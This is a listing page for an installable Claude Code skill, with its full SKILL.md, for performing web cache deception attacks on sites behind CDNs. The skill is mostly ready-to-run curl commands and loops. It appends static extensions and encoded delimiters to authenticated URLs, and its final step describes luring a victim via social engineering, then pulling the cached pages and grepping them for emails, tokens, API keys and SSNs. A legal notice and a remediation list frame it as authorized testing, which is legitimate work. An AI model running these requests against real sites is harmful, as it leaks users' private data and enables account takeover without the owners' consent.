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performing-web-cache-deception-attack — Claude Code skill

performing-web-cache-deception-attack executes web cache deception audits by exploiting path normalization differences between CDNs and origins. It uncovers sensitive profile data cached as static files.

Apache-2.0 233 installs ★ 36,511 updated 2026-08-31

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack -a claude-code
Open on GitHub

What performing-web-cache-deception-attack does

This skill outlines a six-step methodology to spot Web Cache Deception in systems behind Cloudflare, Akamai, Varnish, or Nginx. It inspects headers like CF-Cache-Status and X-Cache with curl to map out cached extensions. Then it appends static file suffixes such as .css to dynamic authenticated routes. The proxy treats the path as static. Origin returns dynamic data, leaving private content cached.

The workflow probes path parsing mismatches between proxies and origin servers. It tests delimiter tricks with semicolons, percent-encoded slashes, null bytes (%00), and # fragments. It also covers X-Original-URL header manipulation and dot-segment normalization (..%2F). These checks show if API keys, tokens, or email addresses leak to unauthenticated visitors.

Testing requires Burp Suite and two separate browser sessions. One session acts as the victim. The other tests unauthenticated retrieval. Running these checks without written authorization is illegal.

What it helps with

  • Detect authenticated profile leaks caused by CDN static extension caching
  • Probe path normalization gaps with semicolons, null bytes, and encoded characters
  • Test cache key behavior against query parameters and X-Original-URL headers
  • Verify whether unauthenticated requests receive cached private session data

Example prompts for the agent

  • Audit the /account/profile endpoint for web cache deception vulnerabilities
  • Show curl commands to test path normalization delimiters using a .css extension
  • Verify if unauthenticated requests can read cached victim responses on this route

How to install performing-web-cache-deception-attack

1Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack -a claude-code

2Manually: put the files in place

~/.claude/skills/performing-web-cache-deception-attack/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/performing-web-cache-deception-attack/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about performing-web-cache-deception-attack

How do I install performing-web-cache-deception-attack in Claude Code?

Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-deception-attack -a claude-code in your terminal.

What does performing-web-cache-deception-attack do?

It guides security testing for Web Cache Deception by exploiting URL normalization differences between CDN proxies and backend application servers.

What tools are needed to run this attack assessment?

You need curl or Burp Suite, two distinct browser sessions (authenticated and anonymous), and explicit written authorization from the system owner.

Source text

SKILL.md · Apache-2.0
---
name: performing-web-cache-deception-attack
description: Executes web cache deception attacks by exploiting path normalization
  discrepancies between CDN/reverse-proxy caching layers (Cloudflare, Akamai, Varnish,
  Nginx) and origin servers to cache and retrieve sensitive authenticated content.
  Use when testing applications behind CDNs for cache-key misconfigurations, during
  bug bounty hunting on aggressively cached sites, or when assessing sensitive data
  exposure through cache layer misconfiguration.
domain: cybersecurity
subdomain: web-application-security
tags:
- web-cache-deception
- cdn-attack
- cache-poisoning
- path-normalization
- cloudflare
- cache-key
- static-resource
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1078.004
---

# Performing Web Cache Deception Attack

## When to Use
- When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
- During assessment of authenticated page caching behavior
- When evaluating path normalization differences between caching and origin layers
- During bug bounty hunting on applications with aggressive caching policies
- When testing for sensitive data exposure through cache layer misconfiguration

## Prerequisites
- Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
- Knowledge of CDN path normalization and cache key construction
- Burp Suite for intercepting and crafting requests
- Two browser sessions (authenticated victim and unauthenticated attacker)
- Understanding of URL path parsing differences across technologies
- Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Caching Layer and Behavior
```bash
# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done
```

### Step 2 — Test Path-Based Cache Deception
```bash
# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done
```

### Step 3 — Exploit Delimiter-Based Discrepancies
```bash
# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
```

### Step 4 — Test Normalization Discrepancies
```bash
# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
```

### Step 5 — Exploit Cache Key Manipulation
```bash
# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Check if cached

# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"
```

### Step 6 — Verify and Document the Attack
```bash
# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker

# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT

# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Cache Deception | Tricking CDN into caching authenticated dynamic content as static resource |
| Path Normalization | How CDN and origin differently resolve path segments (../, ;, encoded chars) |
| Cache Key | The identifier CDN uses to store/retrieve cached responses (typically URL path) |
| Static Extension Trick | Appending .css/.js/.png to dynamic URLs to trigger caching behavior |
| Delimiter Discrepancy | Characters (;, ?, #) interpreted differently by cache vs. origin server |
| Cache Poisoning vs Deception | Poisoning modifies cache for all users; deception caches specific victim data |
| Vary Header | HTTP header controlling which request attributes affect cache key |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Burp Suite | HTTP proxy for crafting cache deception requests |
| curl | Command-line testing of cache behavior and response headers |
| Web Cache Vulnerability Scanner | Automated tool for detecting cache deception/poisoning |
| Param Miner | Burp extension for discovering unkeyed cache parameters |
| Cloudflare Diagnostics | Analyzing CF-Cache-Status and cf-ray headers |
| Varnish CLI | Direct cache inspection for Varnish-based setups |

## Common Scenarios

1. **Profile Data Theft** — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs
2. **API Token Exposure** — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN
3. **Account Takeover** — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover
4. **Financial Data Exposure** — Cache banking or payment pages showing account balances and transaction history
5. **Admin Panel Caching** — Cache admin pages accessible through delimiter-based path confusion on CDN

## Output Format

```
## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending

### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |

### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |

### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

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